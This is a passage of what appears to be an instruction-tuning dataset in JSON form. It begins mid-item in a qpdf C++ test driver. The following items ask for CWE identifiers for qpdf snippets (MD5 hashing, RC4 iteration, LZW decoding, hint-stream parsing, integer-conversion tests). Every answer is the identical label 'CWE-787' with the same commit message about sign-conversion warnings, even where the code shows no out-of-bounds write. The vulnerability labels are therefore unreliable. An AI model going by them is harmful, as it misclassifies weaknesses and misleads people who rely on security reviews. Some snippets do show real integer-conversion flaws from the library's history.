\" << state\n                              << std::endl;\n                }\n                std::cout << \"    Appearance stream (/N): \"\n                          << ah.getAppearanceStream(\"/N\").unparse()\n                          << std::endl;\n                std::cout << \"    Appearance stream (/N, /3): \"\n                          << ah.getAppearanceStream(\"/N\", \"/3\").unparse()\n                          << std::endl;\n            }\n        }\n    }\n    else if (n == 44)\n    {\n        // Set form fields.\n        QPDFAcroFormDocumentHelper afdh(pdf);\n        std::vector fields = afdh.getFormFields();\n        for (std::vector::iterator iter =\n                 fields.begin();\n             iter != fields.end(); ++iter)\n        {\n            QPDFFormFieldObjectHelper& field(*iter);\n            QPDFObjectHandle ft = field.getInheritableFieldValue(\"/FT\");\n            if (ft.isName() && (ft.getName() == \"/Tx\"))\n            {\n                // \\xc3\\xb7 is utf-8 for U+00F7 (divided by)\n                field.setV(\"3.14 \\xc3\\xb7 0\");\n                std::cout << \"Set field value: \"\n                          << field.getFullyQualifiedName()\n                          << \" -> \"\n                          << field.getValueAsString()\n                          << std::endl;\n            }\n        }\n        QPDFWriter w(pdf, \"a.pdf\");\n\tw.setQDFMode(true);\n        w.setStaticID(true);\n        w.setSuppressOriginalObjectIDs(true);\n        w.write();\n    }\n    else if (n == 45)\n    {\n        // Decode obfuscated files. This is here to help test with\n        // files that trigger anti-virus warnings. See comments in\n        // qpdf.test for details.\n        QPDFWriter w(pdf, \"a.pdf\");\n        w.setStaticID(true);\n        w.write();\n        if (! pdf.getWarnings().empty())\n        {\n            exit(3);\n        }\n    }\n    else if (n == 46)\n    {\n        // Test number tree. This test is crafted to work with\n        // number-tree.pdf\n        QPDFObjectHandle qtest = pdf.getTrailer().getKey(\"/QTest\");\n        QPDFNumberTreeObjectHelper ntoh(qtest);\n        QPDFNumberTreeObjectHelper::idx_map ntoh_map = ntoh.getAsMap();\n        for (QPDFNumberTreeObjectHelper::idx_map::iterator iter =\n                 ntoh_map.begin();\n             iter != ntoh_map.end(); ++iter)\n        {\n            std::cout << (*iter).first << \" \"\n                      << (*iter).second.getStringValue()\n                      << std::endl;\n        }\n        assert(1 == ntoh.getMin());\n        assert(29 == ntoh.getMax());\n        assert(ntoh.hasIndex(6));\n        assert(! ntoh.hasIndex(500));\n        QPDFObjectHandle oh;\n        assert(! ntoh.findObject(4, oh));\n        assert(ntoh.findObject(3, oh));\n        assert(\"three\" == oh.getStringValue());\n        QPDFNumberTreeObjectHelper::numtree_number offset = 0;\n        assert(! ntoh.findObjectAtOrBelow(0, oh, offset));\n        assert(ntoh.findObjectAtOrBelow(8, oh, offset));\n        assert(\"six\" == oh.getStringValue());\n        assert(2 == offset);\n    }\n    else if (n == 47)\n    {\n        // Test page labels.\n        QPDFPageLabelDocumentHelper pldh(pdf);\n        size_t npages = pdf.getRoot().getKey(\"/Pages\").\n            getKey(\"/Count\").getIntValue();\n        std::vector labels;\n        pldh.getLabelsForPageRange(0, npages - 1, 1, labels);\n        assert(labels.size() % 2 == 0);\n        for (size_t i = 0; i < labels.size(); i+= 2)\n        {\n            std::cout << labels.at(i).getIntValue() << \" \"\n                      << labels.at(i+1).unparse() << std::endl;\n        }\n    }\n    else if (n == 48)\n    {\n        // Test name tree. This test is crafted to work with\n        // name-tree.pdf\n        QPDFObjectHandle qtest = pdf.getTrailer().getKey(\"/QTest\");\n        QPDFNameTreeObjectHelper ntoh(qtest);\n        std::map ntoh_map = ntoh.getAsMap();\n        for (std::map::iterator iter =\n                 ntoh_map.begin();\n             iter != ntoh_map.end(); ++iter)\n        {\n            std::cout << (*iter).first << \" -> \"\n                      << (*iter).second.getStringValue()\n                      << std::endl;\n        }\n        assert(ntoh.hasName(\"11 elephant\"));\n        assert(ntoh.hasName(\"07 sev\\xe2\\x80\\xa2n\"));\n        assert(! ntoh.hasName(\"potato\"));\n        QPDFObjectHandle oh;\n        assert(! ntoh.findObject(\"potato\", oh));\n        assert(ntoh.findObject(\"07 sev\\xe2\\x80\\xa2n\", oh));\n        assert(\"seven!\" == oh.getStringValue());\n    }\n    else if (n == 49)\n    {\n        // Outlines\n        std::vector pages =\n            QPDFPageDocumentHelper(pdf).getAllPages();\n        QPDFOutlineDocumentHelper odh(pdf);\n        int pageno = 0;\n        for (std::vector::iterator iter = pages.begin();\n             iter != pages.end(); ++iter, ++pageno)\n        {\n            std::list outlines =\n                odh.getOutlinesForPage((*iter).getObjectHandle().getObjGen());\n            for (std::list::iterator oiter =\n                     outlines.begin();\n                 oiter != outlines.end(); ++oiter)\n            {\n                std::cout\n                    << \"page \" << pageno << \": \"\n                    << (*oiter).getTitle() << \" -> \"\n                    << (*oiter).getDest().unparseResolved() << std::endl;\n            }\n        }\n    }\n    else if (n == 50)\n    {\n        // Test dictionary merge. This test is crafted to work with\n        // merge-dict.pdf\n        QPDFObjectHandle d1 = pdf.getTrailer().getKey(\"/Dict1\");\n        QPDFObjectHandle d2 = pdf.getTrailer().getKey(\"/Dict2\");\n        d1.mergeResources(d2);\n        std::cout << d1.getJSON().unparse() << std::endl;\n        // Top-level type mismatch\n        d1.mergeResources(d2.getKey(\"/k1\"));\n        std::set names = d1.getResourceNames();\n        for (std::set::iterator iter = names.begin();\n             iter != names.end(); ++iter)\n        {\n            std::cout << *iter << std::endl;\n        }\n    }\n    else if (n == 51)\n    {\n        // Test radio button and checkbox field setting. The input\n        // files must have radios button called r1 and r2 and\n        // checkboxes called checkbox1 and checkbox2. The files\n        // button-set*.pdf are designed for this test case.\n        QPDFObjectHandle acroform = pdf.getRoot().getKey(\"/AcroForm\");\n        QPDFObjectHandle fields = acroform.getKey(\"/Fields\");\n        int n = fields.getArrayNItems();\n        for (int i = 0; i < n; ++i)\n        {\n            QPDFObjectHandle field = fields.getArrayItem(i);\n            QPDFObjectHandle T = field.getKey(\"/T\");\n            if (! T.isString())\n            {\n                continue;\n            }\n            std::string Tval = T.getUTF8Value();\n            if (Tval == \"r1\")\n            {\n                std::cout << \"setting r1 via parent\\n\";\n                QPDFFormFieldObjectHelper foh(field);\n                foh.setV(QPDFObjectHandle::newName(\"/2\"));\n            }\n            else if (Tval == \"r2\")\n            {\n                std::cout << \"setting r2 via child\\n\";\n                field = field.getKey(\"/Kids\").getArrayItem(1);\n                QPDFFormFieldObjectHelper foh(field);\n                foh.setV(QPDFObjectHandle::newName(\"/3\"));\n            }\n            else if (Tval == \"checkbox1\")\n            {\n                std::cout << \"turning checkbox1 on\\n\";\n                QPDFFormFieldObjectHelper foh(field);\n                foh.setV(QPDFObjectHandle::newName(\"/Yes\"));\n            }\n            else if (Tval == \"checkbox2\")\n            {\n                std::cout << \"turning checkbox2 off\\n\";\n                QPDFFormFieldObjectHelper foh(field);\n                foh.setV(QPDFObjectHandle::newName(\"/Off\"));\n            }\n        }\n        QPDFWriter w(pdf, \"a.pdf\");\n\tw.setQDFMode(true);\n        w.setStaticID(true);\n        w.write();\n    }\n    else if (n == 52)\n    {\n        // This test just sets a field value for appearance stream\n        // generating testing.\n        QPDFObjectHandle acroform = pdf.getRoot().getKey(\"/AcroForm\");\n        QPDFObjectHandle fields = acroform.getKey(\"/Fields\");\n        int n = fields.getArrayNItems();\n        for (int i = 0; i < n; ++i)\n        {\n            QPDFObjectHandle field = fields.getArrayItem(i);\n            QPDFObjectHandle T = field.getKey(\"/T\");\n            if (! T.isString())\n            {\n                continue;\n            }\n            std::string Tval = T.getUTF8Value();\n            if (Tval == \"list1\")\n            {\n                std::cout << \"setting list1 value\\n\";\n                QPDFFormFieldObjectHelper foh(field);\n                foh.setV(QPDFObjectHandle::newString(arg2));\n            }\n        }\n        QPDFWriter w(pdf, \"a.pdf\");\n        w.write();\n    }\n    else if (n == 53)\n    {\n        // Test get all objects and dangling ref handling\n        QPDFObjectHandle root = pdf.getRoot();\n        root.replaceKey(\n            \"/Q1\",\n            pdf.makeIndirectObject(QPDFObjectHandle::newString(\"potato\")));\n        std::cout << \"all objects\" << std::endl;\n        std::vector all = pdf.getAllObjects();\n        for (std::vector::iterator iter = all.begin();\n             iter != all.end(); ++iter)\n        {\n            std::cout << (*iter).unparse() << std::endl;\n        }\n\n        QPDFWriter w(pdf, \"a.pdf\");\n        w.setStaticID(true);\n        w.write();\n    }\n    else if (n == 54)\n    {\n        // Test getFinalVersion. This must be invoked with a file\n        // whose final version is not 1.5.\n        QPDFWriter w(pdf, \"a.pdf\");\n        assert(pdf.getPDFVersion() != \"1.5\");\n        w.setObjectStreamMode(qpdf_o_generate);\n        if (w.getFinalVersion() != \"1.5\")\n        {\n            std::cout << \"oops: \" << w.getFinalVersion() << std::endl;\n        }\n    }\n    else if (n == 55)\n    {\n        // Form XObjects\n        std::vector pages =\n            QPDFPageDocumentHelper(pdf).getAllPages();\n        QPDFObjectHandle qtest = QPDFObjectHandle::newArray();\n        for (std::vector::iterator iter = pages.begin();\n             iter != pages.end(); ++iter)\n        {\n            QPDFPageObjectHelper& ph(*iter);\n            qtest.appendItem(ph.getFormXObjectForPage());\n            qtest.appendItem(ph.getFormXObjectForPage(false));\n        }\n        pdf.getTrailer().replaceKey(\"/QTest\", qtest);\n        QPDFWriter w(pdf, \"a.pdf\");\n\tw.setQDFMode(true);\n        w.setStaticID(true);\n        w.write();\n    }\n    else if ((n >= 56) && (n <= 59))\n    {\n        // Placing form XObjects\n        assert(arg2);\n        QPDF pdf2;\n        pdf2.processFile(arg2);\n\n        // red pages are from pdf, blue pages are from pdf2\n        // red pages always have stated rotation absolutely\n        // 56: blue pages are overlaid exactly on top of red pages\n        // 57: blue pages have stated rotation relative to red pages\n        // 58: blue pages have no rotation (absolutely upright)\n        // 59: blue pages have stated rotation absolutely\n        bool handle_from_transformation = ((n == 57) || (n == 59));\n        bool invert_to_transformation = ((n == 58) || (n == 59));\n\n        std::vector pages1 =\n            QPDFPageDocumentHelper(pdf).getAllPages();\n        std::vector pages2 =\n            QPDFPageDocumentHelper(pdf2).getAllPages();\n        size_t npages = (pages1.size() < pages2.size()\n                         ? pages1.size() : pages2.size());\n        for (size_t i = 0; i < npages; ++i)\n        {\n            QPDFPageObjectHelper& ph1 = pages1.at(i);\n            QPDFPageObjectHelper& ph2 = pages2.at(i);\n            QPDFObjectHandle fo = pdf.copyForeignObject(\n                ph2.getFormXObjectForPage(handle_from_transformation));\n            int min_suffix = 1;\n            QPDFObjectHandle resources = ph1.getAttribute(\"/Resources\", true);\n            std::string name = resources.getUniqueResourceName(\n                \"/Fx\", min_suffix);\n            std::string content =\n                ph1.placeFormXObject(\n                    fo, name, ph1.getTrimBox().getArrayAsRectangle(),\n                    invert_to_transformation);\n            if (! content.empty())\n            {\n                resources.mergeResources(\n                    QPDFObjectHandle::parse(\"<< /XObject << >> >>\"));\n                resources.getKey(\"/XObject\").replaceKey(name, fo);\n                ph1.addPageContents(\n                    QPDFObjectHandle::newStream(&pdf, \"q\\n\"), true);\n                ph1.addPageContents(\n                    QPDFObjectHandle::newStream(&pdf, \"\\nQ\\n\" + content),\n                    false);\n            }\n        }\n        QPDFWriter w(pdf, \"a.pdf\");\n\tw.setQDFMode(true);\n        w.setStaticID(true);\n        w.write();\n    }\n    else if (n == 60)\n    {\n        // Boundary condition testing for getUniqueResourceName\n        QPDFObjectHandle r1 = QPDFObjectHandle::newDictionary();\n        int min_suffix = 1;\n        for (int i = 1; i < 3; ++i)\n        {\n            std::string name = r1.getUniqueResourceName(\"/Quack\", min_suffix);\n            r1.mergeResources(QPDFObjectHandle::parse(\"<< /Z << >> >>\"));\n            r1.getKey(\"/Z\").replaceKey(\n                name, QPDFObjectHandle::newString(\"moo\"));\n        }\n        pdf.getTrailer().replaceKey(\"/QTest\", r1);\n        QPDFWriter w(pdf, \"a.pdf\");\n        w.setStaticID(true);\n        w.write();\n    }\n    else if (n == 61)\n    {\n        // Test to make sure exceptions can be caught properly across\n        // shared library boundaries.\n\tpdf.setAttemptRecovery(false);\n        pdf.setSuppressWarnings(true);\n        try\n        {\n            pdf.processMemoryFile(\"empty\", \"\", 0);\n        }\n        catch (QPDFExc& e)\n        {\n            std::cout << \"Caught QPDFExc as expected\" << std::endl;\n        }\n        try\n        {\n            QUtil::safe_fopen(\"/does/not/exist\", \"r\");\n        }\n        catch (QPDFSystemError& e)\n        {\n            std::cout << \"Caught QPDFSystemError as expected\" << std::endl;\n        }\n        try\n        {\n            QUtil::int_to_string_base(0, 12);\n        }\n        catch (std::logic_error& e)\n        {\n            std::cout << \"Caught logic_error as expected\" << std::endl;\n        }\n        try\n        {\n            QUtil::toUTF8(0xffffffff);\n        }\n        catch (std::runtime_error& e)\n        {\n            std::cout << \"Caught runtime_error as expected\" << std::endl;\n        }\n    }\n    else if (n == 62)\n    {\n        // Test int size checks. This test will fail if int and long\n        // long are the same size.\n        QPDFObjectHandle t = pdf.getTrailer();\n        unsigned long long q1_l = 3L * INT_MAX;\n        long long q1 = static_cast(q1_l);\n        long long q2_l = 3L * INT_MIN;\n        long long q2 = static_cast(q2_l);\n        unsigned int q3_i = UINT_MAX;\n        long long q3 = static_cast(q3_i);\n        t.replaceKey(\"/Q1\", QPDFObjectHandle::newInteger(q1));\n        t.replaceKey(\"/Q2\", QPDFObjectHandle::newInteger(q2));\n        t.replaceKey(\"/Q3\", QPDFObjectHandle::newInteger(q3));\n        assert_compare_numbers(q1, t.getKey(\"/Q1\").getIntValue());\n        assert_compare_numbers(q1_l, t.getKey(\"/Q1\").getUIntValue());\n        assert_compare_numbers(INT_MAX, t.getKey(\"/Q1\").getIntValueAsInt());\n        assert_compare_numbers(UINT_MAX, t.getKey(\"/Q1\").getUIntValueAsUInt());\n        assert_compare_numbers(q2_l, t.getKey(\"/Q2\").getIntValue());\n        assert_compare_numbers(0U, t.getKey(\"/Q2\").getUIntValue());\n        assert_compare_numbers(INT_MIN, t.getKey(\"/Q2\").getIntValueAsInt());\n        assert_compare_numbers(0U, t.getKey(\"/Q2\").getUIntValueAsUInt());\n        assert_compare_numbers(INT_MAX, t.getKey(\"/Q3\").getIntValueAsInt());\n        assert_compare_numbers(UINT_MAX, t.getKey(\"/Q3\").getUIntValueAsUInt());\n    }\n    else\n    {\n\tthrow std::runtime_error(std::string(\"invalid test \") +\n\t\t\t\t QUtil::int_to_string(n));\n    }\n\n    if (filep)\n    {\n        fclose(filep);\n    }\n    std::cout << \"test \" << n << \" done\" << std::endl;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void MD5::encodeDataIncrementally(char const* data, int len)\n{\n    update(QUtil::unsigned_char_pointer(data), len);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int main(int argc, char* argv[])\n{\n    if (argc != 7)\n    {\n\tstd::cerr << \"Usage: predictor {png|tiff} {en,de}code filename\"\n                  << \" columns samples-per-pixel bits-per-sample\"\n                  << std::endl;\n\texit(2);\n    }\n    char* filter = argv[1];\n    bool encode = (strcmp(argv[2], \"encode\") == 0);\n    char* filename = argv[3];\n    int columns = QUtil::string_to_int(argv[4]);\n    int samples_per_pixel = QUtil::string_to_int(argv[5]);\n    int bits_per_sample = QUtil::string_to_int(argv[6]);\n\n    try\n    {\n\trun(filename, filter, encode,\n            columns, bits_per_sample, samples_per_pixel);\n    }\n    catch (std::exception& e)\n    {\n\tstd::cout << e.what() << std::endl;\n    }\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int main()\n{\n    uint32_t u1 = 3141592653U;      // Too big for signed type\n    int32_t i1 = -1153374643;       // Same bit pattern as u1\n    uint64_t ul1 = 1099511627776LL; // Too big for 32-bit\n    uint64_t ul2 = 12345;           // Fits into 32-bit\n    int32_t i2 = 81;                // Fits in char and uchar\n    char c1 = '\\xf7';               // Signed vaule when char\n\n    // Verify i1 and u1 have same bit pattern\n    assert(static_cast(i1) == u1);\n    // Verify that we can unsafely convert between char and unsigned char\n    assert(c1 == static_cast(static_cast(c1)));\n\n    try_convert(true,  QIntC::to_int, i1);\n    try_convert(true,  QIntC::to_uint, u1);\n    try_convert(false, QIntC::to_int, u1);\n    try_convert(false, QIntC::to_uint, i1);\n    try_convert(false, QIntC::to_int, ul1);\n    try_convert(true,  QIntC::to_int, ul2);\n    try_convert(true,  QIntC::to_uint, ul2);\n    try_convert(true,  QIntC::to_offset, u1);\n    try_convert(true,  QIntC::to_offset, i1);\n    try_convert(false, QIntC::to_size, i1);\n    try_convert(true,  QIntC::to_char, i2);\n    try_convert(true,  QIntC::to_uchar, i2);\n    try_convert(false,  QIntC::to_uchar, c1);\n\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: unsigned long long qpdf_get_error_file_position(qpdf_data qpdf, qpdf_error e)\n{\n    if (e == 0)\n    {\n\treturn 0;\n    }\n    return e->exc->getFilePosition();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: iterate_rc4(unsigned char* data, int data_len,\n\t    unsigned char* okey, int key_len,\n\t    int iterations, bool reverse)\n{\n    unsigned char* key = new unsigned char[key_len];\n    for (int i = 0; i < iterations; ++i)\n    {\n\tint const xor_value = (reverse ? iterations - 1 - i : i);\n\tfor (int j = 0; j < key_len; ++j)\n\t{\n\t    key[j] = okey[j] ^ xor_value;\n\t}\n\tRC4 rc4(key, key_len);\n\trc4.process(data, data_len);\n    }\n    delete [] key;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: QPDF::readHintStream(Pipeline& pl, qpdf_offset_t offset, size_t length)\n{\n    int obj;\n    int gen;\n    QPDFObjectHandle H = readObjectAtOffset(\n\tfalse, offset, \"linearization hint stream\", -1, 0, obj, gen);\n    ObjCache& oc = this->m->obj_cache[QPDFObjGen(obj, gen)];\n    qpdf_offset_t min_end_offset = oc.end_before_space;\n    qpdf_offset_t max_end_offset = oc.end_after_space;\n    if (! H.isStream())\n    {\n\tthrow QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(),\n\t\t      \"linearization dictionary\",\n\t\t      this->m->file->getLastOffset(),\n\t\t      \"hint table is not a stream\");\n    }\n\n    QPDFObjectHandle Hdict = H.getDict();\n\n    // Some versions of Acrobat make /Length indirect and place it\n    // immediately after the stream, increasing length to cover it,\n    // even though the specification says all objects in the\n    // linearization parameter dictionary must be direct.  We have to\n    // get the file position of the end of length in this case.\n    QPDFObjectHandle length_obj = Hdict.getKey(\"/Length\");\n    if (length_obj.isIndirect())\n    {\n\tQTC::TC(\"qpdf\", \"QPDF hint table length indirect\");\n\t// Force resolution\n\t(void) length_obj.getIntValue();\n\tObjCache& oc = this->m->obj_cache[length_obj.getObjGen()];\n\tmin_end_offset = oc.end_before_space;\n\tmax_end_offset = oc.end_after_space;\n    }\n    else\n    {\n\tQTC::TC(\"qpdf\", \"QPDF hint table length direct\");\n    }\n    qpdf_offset_t computed_end = offset + length;\n    if ((computed_end < min_end_offset) ||\n\t(computed_end > max_end_offset))\n    {\n\t*this->m->out_stream << \"expected = \" << computed_end\n                             << \"; actual = \" << min_end_offset << \"..\"\n                             << max_end_offset << std::endl;\n\tthrow QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(),\n\t\t      \"linearization dictionary\",\n\t\t      this->m->file->getLastOffset(),\n\t\t      \"hint table length mismatch\");\n    }\n    H.pipeStreamData(&pl, 0, qpdf_dl_specialized);\n    return Hdict;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: QPDFXRefEntry::getObjStreamNumber() const\n{\n    if (this->type != 2)\n    {\n\tthrow std::logic_error(\n\t    \"getObjStreamNumber called for xref entry of type != 2\");\n    }\n    return this->field1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void MD5::encodeFile(char const *filename, int up_to_size)\n{\n    unsigned char buffer[1024];\n\n    FILE *file = QUtil::safe_fopen(filename, \"rb\");\n    size_t len;\n    int so_far = 0;\n    int to_try = 1024;\n    do\n    {\n\tif ((up_to_size >= 0) && ((so_far + to_try) > up_to_size))\n\t{\n\t    to_try = up_to_size - so_far;\n\t}\n\tlen = fread(buffer, 1, to_try, file);\n\tif (len > 0)\n\t{\n\t    update(buffer, len);\n\t    so_far += len;\n\t    if ((up_to_size >= 0) && (so_far >= up_to_size))\n\t    {\n\t\tbreak;\n\t    }\n\t}\n    } while (len > 0);\n    if (ferror(file))\n    {\n\t// Assume, perhaps incorrectly, that errno was set by the\n\t// underlying call to read....\n\t(void) fclose(file);\n\tQUtil::throw_system_error(\n\t    std::string(\"MD5: read error on \") + filename);\n    }\n    (void) fclose(file);\n\n    final();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Pl_LZWDecoder::getFirstChar(int code)\n{\n    unsigned char result = '\\0';\n    if (code < 256)\n    {\n\tresult = static_cast(code);\n    }\n    else if (code > 257)\n    {\n\tunsigned int idx = code - 258;\n\tif (idx >= table.size())\n        {\n            throw std::logic_error(\n                \"Pl_LZWDecoder::getFirstChar: table overflow\");\n        }\n\tBuffer& b = table.at(idx);\n\tresult = b.getBuffer()[0];\n    }\n    else\n    {\n        throw std::logic_error(\n            \"Pl_LZWDecoder::getFirstChar called with invalid code (\" +\n            QUtil::int_to_string(code) + \")\");\n    }\n    return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
